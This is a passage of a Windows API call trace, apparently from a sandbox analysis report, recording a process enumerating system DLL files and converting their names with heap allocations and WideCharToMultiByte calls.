(HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.881] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.882] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.882] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.882] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.882] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.882] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.882] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.882] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0xa9c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.890] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.890] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.890] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.890] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.890] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.890] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.890] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.890] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.890] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.890] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.890] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.890] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.890] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.891] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.891] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.891] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0136.891] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.891] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.891] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0xa9c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0136.891] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.891] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.891] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.891] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.891] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.891] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0136.891] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.891] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.891] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.891] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.891] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.891] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.891] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.891] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.891] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0136.891] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.891] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0xa9c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.892] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0xa9c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.892] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.892] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.892] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.892] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.893] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.893] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.893] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.893] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.893] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0xa9c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0136.894] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.894] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0136.894] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.894] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.894] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.894] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, 